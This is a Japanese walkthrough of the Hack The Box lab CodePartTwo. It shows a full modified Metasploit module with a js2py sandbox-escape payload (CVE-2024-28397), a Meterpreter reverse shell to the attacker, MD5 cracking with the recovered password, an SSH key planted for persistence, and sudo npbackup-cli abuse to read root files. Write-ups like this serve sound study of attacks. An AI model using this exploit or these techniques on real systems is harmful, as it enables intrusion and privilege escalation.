コンテンツにスキップ

HTB CodePartTwo writeup

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

CodePartTwo は、JavaScript 実行機能を持つ Web アプリが公開された Linux Box である。配布 ZIP で js2py==0.74 を確認し、登録した Web アカウントで POST /run_code にサンドボックス脱出のペイロードを送って app のシェルを得た。次に SQLite に保存された marco の MD5 ハッシュを解読し、OS ユーザー marco へ移った。最後は NOPASSWD の npbackup-cli に /root/ を含む設定を読み込ませ、root 権限で作成したスナップショットから /root/root.txt を読み取った。root シェルの取得は記録されていない。

ItemValue
BoxCodePartTwo
PlatformHack The Box
OSLinux, Ubuntu 20.04.6 LTS
DifficultyEasy
攻撃側
|
| HTTP 列挙と配布 ZIP から js2py==0.74 を確認
v
codeparttwo.htb:8000 の認証付き POST /run_code
|
| pwn を登録・ログインし、CVE-2024-28397 を JSON の code として送信
v
app@codeparttwo
|
| users.db の marco の MD5 を hashcat -m 0 で解読し su - marco
v
marco@codeparttwo
|
| NOPASSWD の npbackup-cli に /root/ を含む設定を渡し -b
v
root 権限で作成された snapshot 52a4bb12
|
| sudo npbackup-cli --dump /root/root.txt
v
root の保護ファイル /root/root.txt の読取

記録時点の対象 IP は 10.129.232.59、Web のホスト名は codeparttwo.htb、攻撃側 VPN アドレスは 10.10.16.45 である。IP はラボ再起動で変わり得る。名前解決のため、攻撃側の /etc/hosts へ次を追記した。

ターミナルウィンドウ
sudo vim /etc/hosts
10.129.232.59 codeparttwo.htb

SSH ログイン後のバナーで OS を確認した。

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

全 TCP ポートを走査した。

ターミナルウィンドウ
nmap -sS -A -p- --min-rate 10000 10.129.232.59
Nmap scan report for 10.129.232.59
Host is up (0.29s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
OS details: Linux 4.15 - 5.19
  • 22/tcp は OpenSSH 8.2p1。この時点では使える資格情報がない。
  • 8000/tcp は Gunicorn 20.0.4 で、タイトルが Box 名と一致する。
  • 公開面はこの 2 ポートに絞られているため、次は Web アプリを見る。
  • nmap のカーネル推定は Linux 4.15 - 5.19 と幅がある。後の SSH バナーで Ubuntu 20.04.6 LTS / 5.4.0-216-generic と確定した。

攻撃側からトップページと認証フォームを確認した。

ターミナルウィンドウ
curl -i http://codeparttwo.htb:8000/
curl -i http://codeparttwo.htb:8000/login
curl -i http://codeparttwo.htb:8000/register
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
<title>Welcome to CodePartTwo</title>
<a href="/login" class="cta-button">Login</a>
<a href="/register" class="cta-button">Register</a>
<a href="/download" class="cta-button">Download App</a>
<form action="/login" method="POST">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
</form>
<form method="POST">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
</form>

トップページには JavaScript の作成・実行機能と、認証前にアプリを取得できる /download が示されていた。/register から自分の Web アカウントを作れるため、既存ユーザーの資格情報を探す前に実行機能を確認できる。

攻撃側で配布 ZIP を取得・展開した。記録では -i を付けたためレスポンスヘッダー 315 バイトが保存ファイルの先頭に入り、unzip が警告を出したが展開は成功した。

ターミナルウィンドウ
curl -iOL http://codeparttwo.htb:8000/download
file download
unzip download
download: Zip archive, with extra data prepended
warning [download]: 315 extra bytes at beginning or within zipfile
(attempting to process anyway)
inflating: app/app.py
inflating: app/requirements.txt
inflating: app/instance/users.db

再取得する場合は -i を外せばよい。展開物の requirements.txt には次の依存関係があった。

js2py==0.74

このバージョンは CVE-2024-28397 を調べる手がかりになった。ただし、配布された app.py の実装全文を確認した記録はない。入口の判断は、依存関係と次節の HTTP リクエスト・応答に基づく。

登録、ログイン、コード実行 API

Section titled “登録、ログイン、コード実行 API”

攻撃側で Freja をインストールして起動した。引数なしの freja は TUI を開き、ローカルの 127.0.0.1:8080 で HTTP プロキシを待ち受ける。

ターミナルウィンドウ
cargo install freja
freja

Firefox の「設定」→「ネットワーク設定」→「手動でプロキシーを設定する」で、HTTP プロキシーを localhost、ポートを 8080 に指定した。これで Firefox から Box の HTTP サイトへ送る通信を Freja の TUI で確認できる。TUI で一時停止したリクエストは c で続行する。

ブラウザーで test:test を登録してログインし、Freja で HTTP を捕捉した。test は自分で作った Web アカウントである。

POST /register HTTP/1.1
Host: codeparttwo.htb:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=test&password=test

登録後の遷移先は GET /login だった。続けて同じ資格情報でログインする。

POST /login HTTP/1.1
Host: codeparttwo.htb:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
Origin: http://codeparttwo.htb:8000
Referer: http://codeparttwo.htb:8000/login
username=test&password=test

ログイン後のダッシュボードはセッション Cookie 付きで 200 を返す。

GET /dashboard HTTP/1.1
Host: codeparttwo.htb:8000
Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4Co
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Fri, 25 Sep 2026 12:06:46 GMT
Vary: Cookie
Content-Type: text/html; charset=utf-8
Content-Length: 1669
<title>CodePartTwo Dashboard</title>
...
<h1>Dashboard</h1>
<p>Create, save, run, and manage your JavaScript code with CodePartTwo.</p>
<a href="/logout" class="cta-button">Logout</a>

Cookie のペイロード eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ は {"user_id":3,"username":"test"} である。後の SQLite で id=3 が test 行と一致する。

ダッシュボードで var x = 16;\nx; を入れて Run Code を押すと、次が送られた。

POST /run_code HTTP/1.1
Host: codeparttwo.htb:8000
Cookie: session=eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6InRlc3QifQ.arZjzQ.MO-1muc0LGyhn7BxLxpHYuCU4Co
Content-Type: application/json
Content-Length: 26
Origin: http://codeparttwo.htb:8000
Referer: http://codeparttwo.htb:8000/dashboard
{
"code": "var x = 16;\nx;"
}
HTTP/1.1 200 OK
Server: gunicorn/20.0.4
Date: Fri, 25 Sep 2026 12:08:48 GMT
Content-Length: 14
Content-Type: application/json
{
"result": 16
}

Freja の TUI では、同じ /run_code 通信を次のように確認した。画面の幅を詰め、判断に必要な行だけ転記している。

┌Flows [1 Traffic] mode=Pretty layout=Split────────────────────────────┐
│> HTTP live POST http://codeparttwo.htb:8000/run_code HTTP/1.1 │
└───────────────────────────────────────────────────────────────────────┘
┌Request [Pretty]──────────────────────┐┌Response [Pretty]──────────────┐
│POST /run_code HTTP/1.1 ││HTTP/1.1 200 OK │
│content-type: application/json ││content-type: application/json │
│{"code":"var x = 16;\nx;"} ││{"result":16} │
└──────────────────────────────────────┘└───────────────────────────────┘

入力 JavaScript は JSON の code キーに入り、サーバー側の /run_code で評価される。js2py==0.74 とこの API の組み合わせが、CVE-2024-28397 を試す根拠になる。

PyLoad 向け Metasploit モジュール exploit/linux/http/pyload_js2py_cve_2024_39205 は、同じ js2py 脱出用 JavaScript を持つ。この Box では認証付き POST /run_code に {"code": ...} を載せる。

既存の PyLoad 向けモジュールから js2py 脱出用の JavaScript を流用し、この Box の HTTP API に合わせて待ち受けポートを 8000、送信先を認証付き POST /run_code、本文を JSON の code に変更した。PyLoad 固有の /flash/addcrypted2、Host: 127.0.0.1、crypted / jk は使わない。

最初の試行では execute_command のたびに登録・ログインしたため、AutoCheck と CmdStager で同じ処理が繰り返された。最終版では authenticate を check と exploit の入口から呼び、同一実行中の認証を一度にした。ただし成功判定は元モジュールのままで、/run_code が成功時に返す HTTP 200 JSON を execute_command が成功と扱わない。check の失敗表示はこの応答判定によるもので、後述のセッション確立でコード実行を確認した。

以下が実際に使用したモジュールの全文である。Metasploit のモジュール検索パスへ htb_codeparttwo.rb として置き、exploit/linux/http/htb_codeparttwo を読み込む。元モジュールの PyLoad 向け名称・説明・参照情報と Privileged => true は残っているが、この Box で使った脆弱性は js2py の CVE-2024-28397 であり、得たシェルの権限は app である。

##
# This module requires Metasploit: https://metasploit.com/download
# Original source: https://github.com/rapid7/metasploit-framework
#
# Derived from:
# modules/exploits/linux/http/pyload_js2py_cve_2024_39205.rb
#
# Modified for the Hack The Box CodePartTwo lab.
#
# Metasploit Framework is distributed under the BSD 3-Clause License.
##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
189 collapsed lines
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)',
'Description' => %q{
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
is the latest version of js2py which was released Nov 6, 2022.
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
can bypass this restriction in order to access the API to achieve unauth RCE.
},
'Author' => [
'Marven11', # PoC
'Spencer McIntyre', # Previous pyLoad module which this is based on
'jheysel-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2024-39205' ],
[ 'CVE', '2024-28397' ],
[ 'EDB', '52532' ],
[ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ],
[ 'GHSA', 'w7hq-f2pj-c53g', 'pyload/pyload' ],
[ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ],
],
'DisclosureDate' => '2024-10-28',
'License' => MSF_LICENSE,
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
],
],
'DefaultTarget' => 1,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(8000),
OptString.new('USERNAME', [true, 'Username', 'pwn']),
OptString.new('PASSWORD', [true, 'Password', 'pwn']),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
authenticate
sleep_time = rand(5..10)
_, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_command("sleep #{sleep_time}")
end
vprint_status("Elapsed time: #{elapsed_time} seconds")
unless elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end
CheckCode::Vulnerable('Successfully tested command injection.')
rescue Msf::Exploit::Failed
return CheckCode::Safe('Failed to test command injection.')
end
def exploit
authenticate
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
if execute_command(payload.encoded)
print_good("Successfully executed command: #{payload.encoded}")
end
when :linux_dropper
execute_cmdstager
end
end
def javascript_payload(cmd)
js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript })
js = <<~EOS
let #{js_vars[:command]} = "#{cmd}"
let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]}
let #{js_vars[:getattr]}, #{js_vars[:obj]}
#{js_vars[:base]} = '__base__'
#{js_vars[:getattribute]} = '__getattribute__'
#{js_vars[:hacked]} = Object.getOwnPropertyNames({})
#{js_vars[:bymarve]} = #{js_vars[:hacked]}[#{js_vars[:getattribute]}]
#{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__")
#{js_vars[:obj]} = #{js_vars[:n11]}("__class__")[#{js_vars[:base]}]
#{js_vars[:getattr]} = #{js_vars[:obj]}[#{js_vars[:getattribute]}]
#{js_vars[:sub_class]} = '__subclasses__';
function #{js_vars[:findpopen]}(#{js_vars[:o]}) {
let #{js_vars[:result]};
for(let #{js_vars[:i]} in #{js_vars[:o]}[#{js_vars[:sub_class]}]()) {
let #{js_vars[:item]} = #{js_vars[:o]}[#{js_vars[:sub_class]}]()[#{js_vars[:i]}]
if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") {
return #{js_vars[:item]}
}
if(#{js_vars[:item]}.__name__ != "type" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) {
return #{js_vars[:result]}
}
}
}
#{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate()
EOS
opts = { 'Strings' => true }
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.obfuscate(memory_sensitive: true)
js.to_s
end
def execute_command(cmd, _opts = {})
cmd.gsub!(/\\/, '\\\\\\\\')
cmd.gsub!(/"/, '\"')
vprint_status("Executing command: #{cmd}")
crypted_b64 = Rex::Text.encode_base64(rand(4))
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run_code'),
'ctype' => 'application/json',
'data' => { 'code' => javascript_payload(cmd) }.to_json
)
# The command will either cause the response to timeout or return a 500
return if res.nil?
return if res.code == 500 && res.get_xml_document.xpath('//title').text == 'Sorry, something went wrong... :('
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
end
def authenticate
return if @authenticated
user = datastore['USERNAME']
pass = datastore['PASSWORD']
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'register'),
'vars_post' => { 'username' => user, 'password' => pass }
)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login'),
'vars_post' => { 'username' => user, 'password' => pass },
'keep_cookies' => true
)
fail_with(Failure::NoAccess, 'login failed') if res.nil?
vprint_status("Register and Login Success: #{user}:#{pass}")
@authenticated = true
end
end

javascript_payload は Python の型階層から subprocess.Popen を探してコマンドを実行する。authenticate は登録後のログインで Cookie を保持するが、ログイン応答の内容は確認しない。元の PyLoad 用 execute_command はタイムアウトまたは特定の HTTP 500 だけを成功扱いするため、HTTP 200 JSON を返す /run_code では check が失敗表示になる。この判定は最終版でも修正されていない。

攻撃側の Metasploit から、モジュールが登録する pwn:pwn を使って実行した。LHOST は攻撃側 VPN アドレスである。

msf > use exploit/linux/http/htb_codeparttwo
msf exploit(linux/http/htb_codeparttwo) > run verbose=true rhosts=10.129.232.59 lhost=10.10.16.45 forceexploit=true
[*] Register and Login Success: pwn:pwn
[*] Executing command: sleep 10
[!] The target is not exploitable. Failed to test command injection. ForceExploit is enabled, proceeding with exploitation.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3106788 bytes) to 10.129.232.59
[*] Meterpreter session 1 opened (10.10.16.45:4444 -> 10.129.232.59:37818)
[*] Command Stager progress - 100.00% done (823/823 bytes)
meterpreter >

ForceExploit で check 後も続行し、Meterpreter セッションの確立で実行成功を確認した。CmdStager は /tmp/hcRRI.b64 と /tmp/iboRV を一時配置し、生成コマンド末尾で削除を試みた。

Meterpreter からシェルを開き、疑似端末で操作した。

ターミナルウィンドウ
meterpreter > shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
ls -la
ls -la /home
cat /etc/passwd | grep 'sh$'
Process 1597 created.
Channel 1 created.
app@codeparttwo:~/app$
total 32
drwxrwxr-x 6 app app 4096 Sep 1 2025 .
drwxr-x--- 5 app app 4096 Apr 6 2025 ..
drwxr-xr-x 2 app app 4096 Sep 1 2025 __pycache__
-rw-r--r-- 1 app app 3679 Sep 1 2025 app.py
drwxrwxr-x 2 app app 4096 Sep 25 13:21 instance
-rw-rw-r-- 1 app app 49 Jan 17 2025 requirements.txt
drwxr-xr-x 4 app app 4096 Sep 1 2025 static
drwxr-xr-x 2 app app 4096 Sep 1 2025 templates
total 16
drwxr-xr-x 4 root root 4096 Jan 2 2025 .
drwxr-xr-x 18 root root 4096 Nov 16 2024 ..
drwxr-x--- 5 app app 4096 Apr 6 2025 app
drwxr-x--- 6 marco marco 4096 Sep 25 13:30 marco
root:x:0:0:root:/root:/bin/bash
marco:x:1000:1000:marco:/home/marco:/bin/bash
app:x:1001:1001:,,,:/home/app:/bin/bash

Web プロセスは app で動いている。ログイン可能な別ユーザー marco がいる。アプリの作業ディレクトリは /home/app/app である。

ターミナルウィンドウ
ls templates
ls static
ls instance
file instance/users.db
base.html dashboard.html index.html login.html register.html
app.zip css js
users.db
instance/users.db: SQLite 3.x database, last written using SQLite version 3031001

対象上の templates には配布 ZIP にあった reviews.html がない。instance/users.db が資格情報の実体である。

ターミナルウィンドウ
sqlite3 instance/users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
.tables
.schema user
select * from user;
.exit
code_snippet user
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(80) NOT NULL,
password_hash VARCHAR(128) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
);
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|test|098f6bcd4621d373cade4e832627b4f6
4|pwn|e4a25f7b052442a076b02ee9a1818d2e

test と pwn はこの調査で登録した行、marco は既存ユーザーである。id=3 の test はダッシュボード Cookie の user_id と一致する。password_hash は 32 桁の 16 進である。自分で入れた test のハッシュ 098f6bcd4621d373cade4e832627b4f6 は MD5(test) として知られる値で、列のアルゴリズムを MD5 と見てよい根拠になる。

marco のハッシュを攻撃側のファイルへ保存して形式を調べた。

ターミナルウィンドウ
printf '%s\\n' '649c9d65a206a75f5abe509fe128bce5' > hash
hashid hash
Analyzing '649c9d65a206a75f5abe509fe128bce5'
[+] MD5
[+] NTLM

32 桁の 16 進文字列だけでは方式を確定できない。一方、自分で登録した test の保存値は MD5(test) と一致したため、marco 行も MD5 と判断した。

攻撃側では marco のハッシュに対して MD5(モード 0)の辞書攻撃を行う。今回の解読実行ログは残っていないため、以下は再現用のコマンドである。平文の有効性は次の su 成功で確認できる。

ターミナルウィンドウ
hashcat -m 0 hash /usr/share/wordlists/rockyou.txt

平文 sweetangelbabylove を OS アカウント marco に試すと、su が成功した。SQLite の marco 行で得たハッシュに対応するパスワードが OS でも使われていた。

ターミナルウィンドウ
su - marco
Password: sweetangelbabylove
marco@codeparttwo:~$
ターミナルウィンドウ
ls -la
cat user.txt
total 44
drwxr-x--- 6 marco marco 4096 Sep 25 13:45 .
drwxr-xr-x 4 root root 4096 Jan 2 2025 ..
drwx------ 7 root root 4096 Apr 6 2025 backups
lrwxrwxrwx 1 root root 9 Oct 26 2024 .bash_history -> /dev/null
-rw-r--r-- 1 marco marco 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 marco marco 3771 Feb 25 2020 .bashrc
drwx------ 2 marco marco 4096 Apr 6 2025 .cache
drwxrwxr-x 4 marco marco 4096 Feb 1 2025 .local
lrwxrwxrwx 1 root root 9 Nov 17 2024 .mysql_history -> /dev/null
-rw-rw-r-- 1 root root 2893 Jun 18 2025 npbackup.conf
-rw-r--r-- 1 marco marco 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 Oct 26 2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root 9 Oct 31 2024 .sqlite_history -> /dev/null
drwx------ 2 marco marco 4096 Oct 20 2024 .ssh
-rw-r----- 1 root marco 33 Sep 25 11:40 user.txt
[REDACTED]

user.txt は root:marco で marco が読める。backups は root のみ、npbackup.conf は root 所有だが全員が読める。履歴ファイルは /dev/null へリンクされている。

Meterpreter 経由の PTY では操作しづらいため、marco の SSH に切り替えた。まず攻撃側で ed25519 鍵ペアを作る。鍵生成コマンドの実行ログは残っていないため、次は再現用の手順である。

ターミナルウィンドウ
ssh-keygen -t ed25519 -f ./codeparttwo
cat ./codeparttwo.pub

記録時に使用した公開鍵は次の 1 行だった。再現時は、新しく生成した .pub の内容を使用する。

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC

対象側では marco の authorized_keys に公開鍵を書いた。元のファイルは 0 バイトだった。以下の echo は記録時の鍵を使ったコマンドであり、再現時は自分の公開鍵に置き換える。

対象側:

ターミナルウィンドウ
cd .ssh
ls -la
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdSeKuXX3olLmqRsgE1mfONoj1IFIPcgHgYbbBcdNvC' > authorized_keys
ls -la
total 8
drwx------ 2 marco marco 4096 Oct 20 2024 .
drwxr-x--- 6 marco marco 4096 Sep 25 14:30 ..
-rw------- 1 marco marco 0 Oct 20 2024 authorized_keys
total 12
drwx------ 2 marco marco 4096 Oct 20 2024 .
drwxr-x--- 6 marco marco 4096 Sep 25 14:30 ..
-rw------- 1 marco marco 81 Sep 25 14:31 authorized_keys

攻撃側:

ターミナルウィンドウ
ssh -i ./codeparttwo marco@codeparttwo.htb
The authenticity of host 'codeparttwo.htb (10.129.232.59)' can't be established.
ED25519 key fingerprint is: SHA256:KGKFyaW9Pm7DDxZe/A8oi/0hkygmBMA8Y33zxkEjcD4
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'codeparttwo.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
System information as of Fri 25 Sep 2026 02:32:09 PM UTC
System load: 0.0
Usage of /: 57.7% of 5.08GB
Memory usage: 23%
Swap usage: 0%
Processes: 222
Users logged in: 0
IPv4 address for eth0: 10.129.232.59
IPv6 address for eth0: dead:beef::a0de:adff:fe8e:c1f
Last login: Fri Sep 25 14:32:10 2026 from 10.10.16.45
marco@codeparttwo:~$

これで marco の通常 TTY が使える。権限はそのまま marco である。

ターミナルウィンドウ
sudo -l
Matching Defaults entries for marco on codeparttwo:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User marco may run the following commands on codeparttwo:
(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

許可はバイナリパスだけで、引数は固定されていない。marco でヘルプを確認すると、任意の設定を指定できる -c と、バックアップ内容を読む --ls / --dump が使える。

ターミナルウィンドウ
npbackup-cli -h
usage: npbackup-cli
[-c CONFIG_FILE]
[-b]
[--ls [LS]]
[--forget FORGET]
[--dump DUMP]

-b はバックアップを作り、--ls はその内容を一覧し、--dump は指定したファイルを標準出力へ出す。引数自由の sudo 許可と組み合わせると、marco が指定したバックアップ対象を root 権限で処理できる。

ターミナルウィンドウ
sudo npbackup-cli
sudo npbackup-cli -c npbackup.conf
2026-09-25 14:01:43,379 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-09-25 14:01:43,379 :: CRITICAL :: Cannot run without configuration file.
2026-09-25 14:01:43,385 :: INFO :: ExecTime = 0:00:00.008369, finished, state is: critical.
2026-09-25 14:02:02,393 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-09-25 14:02:02,414 :: INFO :: Loaded config 4E3B3BFD in /home/marco/npbackup.conf
2026-09-25 14:02:02,421 :: WARNING :: No operation has been requested. Try --help
2026-09-25 14:02:02,425 :: INFO :: ExecTime = 0:00:00.034251, finished, state is: warnings.

ログには npbackup 3.0.1 が root として起動し、設定なしでは Cannot run without configuration file.、/home/marco/npbackup.conf を指定すると Loaded config 4E3B3BFD と出ている。操作を指定しなかったため、この時点ではバックアップを作っていない。

元の設定では暗号化された repo_uri と repo_password が repos.default にあり、バックアップ対象の paths は /home/app/app/ のみだった。後のサイズエラーに関係する設定も含め、要点は次の通り。

repos:
default:
repo_uri: <暗号化された既存値>
backup_opts:
paths:
- /home/app/app/
repo_opts:
repo_password: <暗号化された既存値>
groups:
default_group:
backup_opts:
minimum_backup_size_error: 10 MiB

npbackup.conf は root 所有で marco には書込権限がない。記録上、同じ設定内容を /tmp/npbackup.conf に置いてから paths を変更した。再現時は元設定の暗号化値を保つ。

/tmp/npbackup.conf の作成コマンドは記録されていない。再現時は marco として元設定をコピーし、暗号化されたリポジトリ情報を保つ。

ターミナルウィンドウ
cp /home/marco/npbackup.conf /tmp/npbackup.conf
sudo npbackup-cli -c /tmp/npbackup.conf --ls
Loaded config 4E3B3BFD in /tmp/npbackup.conf
Showing content of snapshot latest in repo default
snapshot 35a4dac3 of [/home/app/app] at 2025-04-06 03:50:16.222832208 +0000 UTC by root@codetwo filtered by []:
/home/app/app/instance/users.db
Operation finished

設定ハッシュ 4E3B3BFD は元の npbackup.conf と同じで、この時点の latest は /home/app/app のみを含む。したがって、既存スナップショットから /root/root.txt を読むことはできない。

/root/ を足したバックアップと dump

Section titled “/root/ を足したバックアップと dump”

対象側の /tmp/npbackup.conf で paths に /root/ を追加した。元設定の暗号化された repo_uri と repo_password は変更していない。

backup_opts:
paths:
- /home/app/app/
- /root/
source_type: folder_list

marco から sudo でバックアップを実行した。これはスナップショットを追加する状態変更である。

ターミナルウィンドウ
sudo npbackup-cli -c /tmp/npbackup.conf -b
npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
Loaded config 73199EB2 in /tmp/npbackup.conf
Running backup of ['/home/app/app/', '/root/'] to repo default
ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
processed 27 files, 246.625 KiB in 0:00
snapshot 52a4bb12 saved
Backend finished with success
ERROR :: Backup is smaller than configured minmium backup size
ERROR :: Operation finished with failure
ExecTime = 0:00:03.421497, finished, state is: errors.

設定ハッシュが 4E3B3BFD から 73199EB2 に変わり、対象に /root/ が入った。exclude ファイル欠如と最小サイズ 10 MiB 未満のため最終状態は errors だが、snapshot 52a4bb12 saved が先に出ている。保存の成否を --ls で確認した。

ターミナルウィンドウ
sudo npbackup-cli -c /tmp/npbackup.conf --ls
Loaded config 73199EB2 in /tmp/npbackup.conf
Showing content of snapshot latest in repo default
snapshot 52a4bb12 of [/home/app/app /root] at 2026-09-25 14:38:14.885922018 +0000 UTC by root@codeparttwo filtered by []:
/root
/root/root.txt
Operation finished, state is: success.

latest が新しいスナップショットに変わり、/root/root.txt を含むことが確認できた。--dump はその内容を標準出力へ出す。

ターミナルウィンドウ
sudo npbackup-cli -c /tmp/npbackup.conf --dump /root/root.txt
[REDACTED]

ここで確認できたのは root 権限で作られたスナップショットからの保護ファイル読取である。root シェルの取得は記録されていない。

  • 配布 ZIP にある templates/reviews.html は、対象上の /home/app/app/templates には見当たらなかった。配布物と稼働環境の差を踏まえ、確認できた /run_code を入口にした。
  • Metasploit の check は Failed to test command injection と表示したが、原因は成功時の HTTP 200 JSON を元モジュールが成功と判定しないことだった。実行成否はセッション確立で判断した。
  • /home/marco/backups は root 所有の drwx------ で、marco から直接参照できない。sudo npbackup-cli --ls でスナップショットを確認した。
  • npbackup-cli --ls が示すのは設定ファイルの paths ではなく、保存済みスナップショットの内容である。/root/ を設定に追加しただけで --ls に現れると思い込むと行き詰まる。root 権限で一度 -b を実行し、保存を確認してから --ls する必要があった。

cleanup を実行して検証した記録はない。観測された状態変更と復旧方針を示す。検証結果はすべて未確認。

  • 攻撃側 /etc/hosts
    • 変更内容: 10.129.232.59 codeparttwo.htb を追記。
    • 元状態: 記録なし。
    • 復旧方針: 追記行を削除する。
    • 検証結果: 未確認。
  • 攻撃側 Freja と Firefox のプロキシ設定
    • 変更内容: cargo install freja で Freja を導入し、Firefox の HTTP プロキシを localhost:8080 に設定した。
    • 元状態: Freja の導入状況と Firefox の設定は記録なし。
    • 復旧方針: Freja を停止して Firefox のプロキシを元の設定に戻す。今回専用に導入した場合だけ cargo uninstall freja で削除する。
    • 検証結果: 未確認。
  • 攻撃側の配布 ZIP・展開物・ハッシュ入力ファイル
    • 変更内容: /download から取得した ZIP を展開し、解読用に marco のハッシュをファイルへ保存した。
    • 元状態: 記録なし。
    • 復旧方針: 調査用に作成したファイルを削除する。
    • 検証結果: 未確認。
  • Web アカウント test / pwn
    • 変更内容: POST /register により users.db の user テーブルへ行を追加(観測時は id=3 が test、id=4 が pwn)。
    • 元状態: 登録前のテーブル内容は未確認。観測時には marco と app の行もあった。
    • 復旧方針: 対象リセット、または SQLite から該当行を削除。
    • 検証結果: 未確認。
  • /tmp/gvaeT.b64、/tmp/BkjMB、/tmp/hcRRI.b64、/tmp/iboRV
    • 変更内容: Linux Dropper の command stager が ELF を一時配置して実行した。生成コマンド末尾に rm -f がある。
    • 元状態: 記録なし。生成コマンド末尾の削除が成功したかも未確認。
    • 復旧方針: 残っていれば rm -f /tmp/gvaeT.b64 /tmp/BkjMB /tmp/hcRRI.b64 /tmp/iboRV。
    • 検証結果: 未確認。
  • /home/marco/.ssh/authorized_keys
    • 変更内容: 空ファイル(0 バイト)を攻撃側 ed25519 公開鍵 81 バイトで上書きした。
    • 元状態: -rw------- 1 marco marco 0 Oct 20 2024 authorized_keys。
